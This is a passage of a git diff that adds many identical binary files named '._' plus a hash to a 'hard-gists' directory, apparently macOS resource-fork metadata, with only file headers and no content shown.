a/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a b/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a differ diff --git a/hard-gists/._e6d0864738da10cb9685 b/hard-gists/._e6d0864738da10cb9685 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e6d0864738da10cb9685 differ diff --git a/hard-gists/._e6e53cbe679d3ec77e25 b/hard-gists/._e6e53cbe679d3ec77e25 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e6e53cbe679d3ec77e25 differ diff --git a/hard-gists/._e76e7c2a2aff228d7807 b/hard-gists/._e76e7c2a2aff228d7807 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e76e7c2a2aff228d7807 differ diff --git a/hard-gists/._e7b0bc65927b7987b7d4 b/hard-gists/._e7b0bc65927b7987b7d4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e7b0bc65927b7987b7d4 differ diff --git a/hard-gists/._e82c16e0401a77dec92a b/hard-gists/._e82c16e0401a77dec92a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e82c16e0401a77dec92a differ diff --git a/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc b/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc differ diff --git a/hard-gists/._e9421f06ea3a62bfbb8c b/hard-gists/._e9421f06ea3a62bfbb8c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e9421f06ea3a62bfbb8c differ diff --git a/hard-gists/._e9625de0711f29cd0a4b57502648dd86 b/hard-gists/._e9625de0711f29cd0a4b57502648dd86 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e9625de0711f29cd0a4b57502648dd86 differ diff --git a/hard-gists/._e972345a37686b9b1362 b/hard-gists/._e972345a37686b9b1362 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e972345a37686b9b1362 differ diff --git a/hard-gists/._e97d518fe02a79177b081c028a83ec1c b/hard-gists/._e97d518fe02a79177b081c028a83ec1c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e97d518fe02a79177b081c028a83ec1c differ diff --git a/hard-gists/._e9851bc47dcf1ba7ee15 b/hard-gists/._e9851bc47dcf1ba7ee15 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e9851bc47dcf1ba7ee15 differ diff --git a/hard-gists/._e99c114a5b33cd2da538 b/hard-gists/._e99c114a5b33cd2da538 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e99c114a5b33cd2da538 differ diff --git a/hard-gists/._e9fb36ca2220a167b7ed b/hard-gists/._e9fb36ca2220a167b7ed new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e9fb36ca2220a167b7ed differ diff --git a/hard-gists/._e9ff0ac61fcb3b1b60ba b/hard-gists/._e9ff0ac61fcb3b1b60ba new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e9ff0ac61fcb3b1b60ba differ diff --git a/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca b/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca differ diff --git a/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a b/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a differ diff --git a/hard-gists/._ea46edc315b0f94d03b9 b/hard-gists/._ea46edc315b0f94d03b9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ea46edc315b0f94d03b9 differ diff --git a/hard-gists/._ea6a808c1e1c382ec567 b/hard-gists/._ea6a808c1e1c382ec567 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ea6a808c1e1c382ec567 differ diff --git a/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1 b/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1 differ diff --git a/hard-gists/._ead9898bd3c973c40429 b/hard-gists/._ead9898bd3c973c40429 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ead9898bd3c973c40429 differ diff --git a/hard-gists/._eb302ad37fe170386893 b/hard-gists/._eb302ad37fe170386893 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eb302ad37fe170386893 differ diff --git a/hard-gists/._eb6dc49c861a1c21b612b568dd188668 b/hard-gists/._eb6dc49c861a1c21b612b568dd188668 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eb6dc49c861a1c21b612b568dd188668 differ diff --git a/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739 b/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739 differ diff --git a/hard-gists/._ebb282c3b73c41c1404123de6cea4771 b/hard-gists/._ebb282c3b73c41c1404123de6cea4771 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ebb282c3b73c41c1404123de6cea4771 differ diff --git a/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca b/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca differ diff --git a/hard-gists/._ec169727def8eb09b44fff84f93f1496 b/hard-gists/._ec169727def8eb09b44fff84f93f1496 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec169727def8eb09b44fff84f93f1496 differ diff --git a/hard-gists/._ec3adc02d927375f13d0 b/hard-gists/._ec3adc02d927375f13d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec3adc02d927375f13d0 differ diff --git a/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56 b/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56 differ diff --git a/hard-gists/._ec88cbdce3cdbac7b8d5 b/hard-gists/._ec88cbdce3cdbac7b8d5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec88cbdce3cdbac7b8d5 differ diff --git a/hard-gists/._ec8ddab12364323c97d4e36459174f0d b/hard-gists/._ec8ddab12364323c97d4e36459174f0d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec8ddab12364323c97d4e36459174f0d differ diff --git a/hard-gists/._ec8f1689bfde3ce9a920 b/hard-gists/._ec8f1689bfde3ce9a920 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec8f1689bfde3ce9a920 differ diff --git a/hard-gists/._ec9c9074373d2443594a b/hard-gists/._ec9c9074373d2443594a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ec9c9074373d2443594a differ diff --git a/hard-gists/._eca49daaae6d4566383b39908bfc3fd0 b/hard-gists/._eca49daaae6d4566383b39908bfc3fd0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eca49daaae6d4566383b39908bfc3fd0 differ diff --git a/hard-gists/._ed9631f151710c6bd898499fcf938425 b/hard-gists/._ed9631f151710c6bd898499fcf938425 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ed9631f151710c6bd898499fcf938425 differ diff --git a/hard-gists/._ed991fb8cdcac3dfadf7 b/hard-gists/._ed991fb8cdcac3dfadf7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ed991fb8cdcac3dfadf7 differ diff --git a/hard-gists/._ede1aec7b3801eb08bc0 b/hard-gists/._ede1aec7b3801eb08bc0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ede1aec7b3801eb08bc0 differ diff --git a/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf b/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf differ diff --git a/hard-gists/._ee05163d448353af4c260c544db4d6b2 b/hard-gists/._ee05163d448353af4c260c544db4d6b2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ee05163d448353af4c260c544db4d6b2 differ diff --git a/hard-gists/._ee837b44613ce93064aa b/hard-gists/._ee837b44613ce93064aa new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ee837b44613ce93064aa differ diff --git a/hard-gists/._ee8c85ff0462ec6105b2 b/hard-gists/._ee8c85ff0462ec6105b2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ee8c85ff0462ec6105b2 differ diff --git a/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69 b/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69 differ diff --git a/hard-gists/._ee9151b0ad985ca348cd b/hard-gists/._ee9151b0ad985ca348cd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ee9151b0ad985ca348cd differ diff --git a/hard-gists/._eea5bb9ea6a73a398c44 b/hard-gists/._eea5bb9ea6a73a398c44 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eea5bb9ea6a73a398c44 differ diff --git a/hard-gists/._eeb156dc7b4caca69f5b31037da54708 b/hard-gists/._eeb156dc7b4caca69f5b31037da54708 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eeb156dc7b4caca69f5b31037da54708 differ diff --git a/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c b/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c differ diff --git a/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e b/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e differ diff --git a/hard-gists/._eef8c9bfb4434787672c303153eee500 b/hard-gists/._eef8c9bfb4434787672c303153eee500 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eef8c9bfb4434787672c303153eee500 differ diff --git a/hard-gists/._eeff174666cce8ca67ae73d44d93054a b/hard-gists/._eeff174666cce8ca67ae73d44d93054a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._eeff174666cce8ca67ae73d44d93054a differ diff --git a/hard-gists/._ef26915065225df65c1187562eca7ec4 b/hard-gists/._ef26915065225df65c1187562eca7ec4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef26915065225df65c1187562eca7ec4 differ diff --git a/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c b/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c differ diff --git a/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c b/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c differ diff --git a/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11 b/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11 differ diff --git a/hard-gists/._ef7ed11b0abab37c94ad b/hard-gists/._ef7ed11b0abab37c94ad new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef7ed11b0abab37c94ad differ diff --git a/hard-gists/._ef9e5c352e54769c4d43 b/hard-gists/._ef9e5c352e54769c4d43 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ef9e5c352e54769c4d43 differ diff --git a/hard-gists/._efabc30c4b2c9afd8a83 b/hard-gists/._efabc30c4b2c9afd8a83 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._efabc30c4b2c9afd8a83 differ diff --git a/hard-gists/._efbe081b2bde5662cc1e76db0e12289e b/hard-gists/._efbe081b2bde5662cc1e76db0e12289e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._efbe081b2bde5662cc1e76db0e12289e differ diff --git a/hard-gists/._efce2e1a817a01441f08 b/hard-gists/._efce2e1a817a01441f08 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._efce2e1a817a01441f08 differ diff --git a/hard-gists/._efe482bad12c2fae6afe b/hard-gists/._efe482bad12c2fae6afe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._efe482bad12c2fae6afe differ diff --git a/hard-gists/._f07d827a4818fda0db81 b/hard-gists/._f07d827a4818fda0db81 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f07d827a4818fda0db81 differ diff --git a/hard-gists/._f0bc519824e46815939b240c4f6a7553 b/hard-gists/._f0bc519824e46815939b240c4f6a7553 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f0bc519824e46815939b240c4f6a7553 differ diff --git a/hard-gists/._f112560fd04ce43c53d4 b/hard-gists/._f112560fd04ce43c53d4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f112560fd04ce43c53d4 differ diff --git a/hard-gists/._f11258583ffcc4728eb71adc0f38e832 b/hard-gists/._f11258583ffcc4728eb71adc0f38e832 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f11258583ffcc4728eb71adc0f38e832 differ diff --git a/hard-gists/._f150b59dd68500099a56184dc25f1300 b/hard-gists/._f150b59dd68500099a56184dc25f1300 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f150b59dd68500099a56184dc25f1300 differ diff --git a/hard-gists/._f15921b2257af1db953f b/hard-gists/._f15921b2257af1db953f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f15921b2257af1db953f differ diff --git a/hard-gists/._f17910ef74687b3a062bd403f79e340a b/hard-gists/._f17910ef74687b3a062bd403f79e340a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f17910ef74687b3a062bd403f79e340a differ diff --git a/hard-gists/._f18b7b54830270b01b99ba5e78024a39 b/hard-gists/._f18b7b54830270b01b99ba5e78024a39 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f18b7b54830270b01b99ba5e78024a39 differ diff --git a/hard-gists/._f1a6bd3c8585c400c190 b/hard-gists/._f1a6bd3c8585c400c190 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f1a6bd3c8585c400c190 differ diff --git a/hard-gists/._f1c94490e636a4ed54b4 b/hard-gists/._f1c94490e636a4ed54b4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f1c94490e636a4ed54b4 differ diff --git a/hard-gists/._f1eca6cb0061cde701c2 b/hard-gists/._f1eca6cb0061cde701c2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f1eca6cb0061cde701c2 differ diff --git a/hard-gists/._f234879ceb3a31e8ec54c601844ed706 b/hard-gists/._f234879ceb3a31e8ec54c601844ed706 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f234879ceb3a31e8ec54c601844ed706 differ diff --git a/hard-gists/._f2608cbe54403edb0b13 b/hard-gists/._f2608cbe54403edb0b13 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f2608cbe54403edb0b13 differ diff --git a/hard-gists/._f27efd1ddcbf57be0d14031a5e692015 b/hard-gists/._f27efd1ddcbf57be0d14031a5e692015 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f27efd1ddcbf57be0d14031a5e692015 differ diff --git a/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0 b/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0 differ diff --git a/hard-gists/._f2bb0cc876828b54f2ed b/hard-gists/._f2bb0cc876828b54f2ed new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f2bb0cc876828b54f2ed differ diff --git a/hard-gists/._f3190ebba6c53887d598d03119ca2066 b/hard-gists/._f3190ebba6c53887d598d03119ca2066 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f3190ebba6c53887d598d03119ca2066 differ diff --git a/hard-gists/._f3538c32965575e59bcd b/hard-gists/._f3538c32965575e59bcd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f3538c32965575e59bcd differ diff --git a/hard-gists/._f35fbc80e066a49d65f1688a7e99f069 b/hard-gists/._f35fbc80e066a49d65f1688a7e99f069 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f35fbc80e066a49d65f1688a7e99f069 differ diff --git a/hard-gists/._f390aabf53cf1406fc71166a47236ebf b/hard-gists/._f390aabf53cf1406fc71166a47236ebf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f390aabf53cf1406fc71166a47236ebf differ diff --git a/hard-gists/._f3ce814ee66c965638fe b/hard-gists/._f3ce814ee66c965638fe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f3ce814ee66c965638fe differ diff --git a/hard-gists/._f3f67424adda343fef40 b/hard-gists/._f3f67424adda343fef40 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f3f67424adda343fef40 differ diff --git a/hard-gists/._f3fc4537fac67a0f2df2 b/hard-gists/._f3fc4537fac67a0f2df2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f3fc4537fac67a0f2df2 differ diff --git a/hard-gists/._f435aa0ccd498b0840d2407d599bf31d b/hard-gists/._f435aa0ccd498b0840d2407d599bf31d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f435aa0ccd498b0840d2407d599bf31d differ diff --git a/hard-gists/._f45de3bbabbcacd3ca29 b/hard-gists/._f45de3bbabbcacd3ca29 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f45de3bbabbcacd3ca29 differ diff --git a/hard-gists/._f4b6f5c8f6c2a51c3f60 b/hard-gists/._f4b6f5c8f6c2a51c3f60 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f4b6f5c8f6c2a51c3f60 differ diff --git a/hard-gists/._f4cc99efc90c487b6fed b/hard-gists/._f4cc99efc90c487b6fed new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f4cc99efc90c487b6fed differ diff --git a/hard-gists/._f51df716906be1d8f7337ffa183d32f4 b/hard-gists/._f51df716906be1d8f7337ffa183d32f4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f51df716906be1d8f7337ffa183d32f4 differ diff --git a/hard-gists/._f53bb3e40edbceb38904 b/hard-gists/._f53bb3e40edbceb38904 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f53bb3e40edbceb38904 differ diff --git a/hard-gists/._f551b2b6fd4d6b6e1ef2 b/hard-gists/._f551b2b6fd4d6b6e1ef2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f551b2b6fd4d6b6e1ef2 differ diff --git a/hard-gists/._f55c4ce19598b2b345ef b/hard-gists/._f55c4ce19598b2b345ef new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f55c4ce19598b2b345ef differ diff --git a/hard-gists/._f5b0d13b0bb3e4ac0572 b/hard-gists/._f5b0d13b0bb3e4ac0572 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f5b0d13b0bb3e4ac0572 differ diff --git a/hard-gists/._f5e40e52de480e53a243fa15af536a8e b/hard-gists/._f5e40e52de480e53a243fa15af536a8e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f5e40e52de480e53a243fa15af536a8e differ diff --git a/hard-gists/._f66cb485a3f3353402a5 b/hard-gists/._f66cb485a3f3353402a5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f66cb485a3f3353402a5 differ diff --git a/hard-gists/._f676b9bd2e6930dda95c b/hard-gists/._f676b9bd2e6930dda95c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f676b9bd2e6930dda95c differ diff --git a/hard-gists/._f6923957293620d6814052e0ccdf0ddf b/hard-gists/._f6923957293620d6814052e0ccdf0ddf new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f6923957293620d6814052e0ccdf0ddf differ diff --git a/hard-gists/._f6df442d0250f265409c b/hard-gists/._f6df442d0250f265409c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f6df442d0250f265409c differ diff --git a/hard-gists/._f6effc4468cca6f4e8f0 b/hard-gists/._f6effc4468cca6f4e8f0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f6effc4468cca6f4e8f0 differ diff --git a/hard-gists/._f788cfd227cb94d0843235a2542026fd b/hard-gists/._f788cfd227cb94d0843235a2542026fd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f788cfd227cb94d0843235a2542026fd differ diff --git a/hard-gists/._f7d8b6cb045cbb65ab80 b/hard-gists/._f7d8b6cb045cbb65ab80 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f7d8b6cb045cbb65ab80 differ diff --git a/hard-gists/._f7fdb8284643b1c175a9 b/hard-gists/._f7fdb8284643b1c175a9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f7fdb8284643b1c175a9 differ diff --git a/hard-gists/._f85e89bef4b6e9b83f2a b/hard-gists/._f85e89bef4b6e9b83f2a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f85e89bef4b6e9b83f2a differ diff --git a/hard-gists/._f884a43c59e26199591ec4e234d069f5 b/hard-gists/._f884a43c59e26199591ec4e234d069f5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f884a43c59e26199591ec4e234d069f5 differ diff --git a/hard-gists/._f8ab99789fd347a13591bc7eeff97149 b/hard-gists/._f8ab99789fd347a13591bc7eeff97149 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f8ab99789fd347a13591bc7eeff97149 differ diff --git a/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5 b/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5 differ diff --git a/hard-gists/._f8c9df05a65d311aa6ec b/hard-gists/._f8c9df05a65d311aa6ec new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f8c9df05a65d311aa6ec differ diff --git a/hard-gists/._f93a377244be9bfcb96d3547b9bc424d b/hard-gists/._f93a377244be9bfcb96d3547b9bc424d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f93a377244be9bfcb96d3547b9bc424d differ diff --git a/hard-gists/._f940f98fbbac84d35e8d b/hard-gists/._f940f98fbbac84d35e8d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f940f98fbbac84d35e8d differ diff --git a/hard-gists/._f97205b73610dd30254652e7817f99cb b/hard-gists/._f97205b73610dd30254652e7817f99cb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._f97205b73610dd30254652e7817f99cb differ diff --git a/hard-gists/._fa0647722365f5a4b2ad b/hard-gists/._fa0647722365f5a4b2ad new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fa0647722365f5a4b2ad differ diff --git a/hard-gists/._fa287fc6448f84004284f5c086f59661 b/hard-gists/._fa287fc6448f84004284f5c086f59661 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fa287fc6448f84004284f5c086f59661 differ diff --git a/hard-gists/._fa43af59f3ecf9b10c88 b/hard-gists/._fa43af59f3ecf9b10c88 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fa43af59f3ecf9b10c88 differ diff --git a/hard-gists/._fa5755c7f7fa49b47961 b/hard-gists/._fa5755c7f7fa49b47961 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fa5755c7f7fa49b47961 differ diff --git a/hard-gists/._fb9d710bd20579771b40 b/hard-gists/._fb9d710bd20579771b40 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fb9d710bd20579771b40 differ diff --git a/hard-gists/._fbadce83877a36622720 b/hard-gists/._fbadce83877a36622720 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fbadce83877a36622720 differ diff --git a/hard-gists/._fbb19b73fa25423f02e8 b/hard-gists/._fbb19b73fa25423f02e8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fbb19b73fa25423f02e8 differ diff --git a/hard-gists/._fbbdb1ba7c66cc4e1bb2 b/hard-gists/._fbbdb1ba7c66cc4e1bb2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fbbdb1ba7c66cc4e1bb2 differ diff --git a/hard-gists/._fbca5503c391c265f958f49b60af6bae b/hard-gists/._fbca5503c391c265f958f49b60af6bae new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fbca5503c391c265f958f49b60af6bae differ diff --git a/hard-gists/._fbecc71022b62515a484a4a33d13014d b/hard-gists/._fbecc71022b62515a484a4a33d13014d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fbecc71022b62515a484a4a33d13014d differ diff --git a/hard-gists/._fc1527d6d9492b59c610 b/hard-gists/._fc1527d6d9492b59c610 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fc1527d6d9492b59c610 differ diff --git a/hard-gists/._fc3589eeabaee9ac5c05 b/hard-gists/._fc3589eeabaee9ac5c05 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fc3589eeabaee9ac5c05 differ diff --git a/hard-gists/._fcb9409ef1c1835fa5fb25a860991751 b/hard-gists/._fcb9409ef1c1835fa5fb25a860991751 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fcb9409ef1c1835fa5fb25a860991751 differ diff --git a/hard-gists/._fcbdd3924ee230592ab4 b/hard-gists/._fcbdd3924ee230592ab4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fcbdd3924ee230592ab4 differ diff --git a/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7 b/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7 differ diff --git a/hard-gists/._fd9ee43167f5cc1da130 b/hard-gists/._fd9ee43167f5cc1da130 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fd9ee43167f5cc1da130 differ diff --git a/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93 b/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93 differ diff --git a/hard-gists/._fdff82cc02b161d0141d b/hard-gists/._fdff82cc02b161d0141d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fdff82cc02b161d0141d differ diff --git a/hard-gists/._fe0d232bda81f15e838b b/hard-gists/._fe0d232bda81f15e838b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fe0d232bda81f15e838b differ diff --git a/hard-gists/._fe4fd5f27a4811cb0187 b/hard-gists/._fe4fd5f27a4811cb0187 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fe4fd5f27a4811cb0187 differ diff --git a/hard-gists/._fe855653e9757e1ce8c4 b/hard-gists/._fe855653e9757e1ce8c4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fe855653e9757e1ce8c4 differ diff --git a/hard-gists/._fe8e267149862eb67127f4fff7e017be 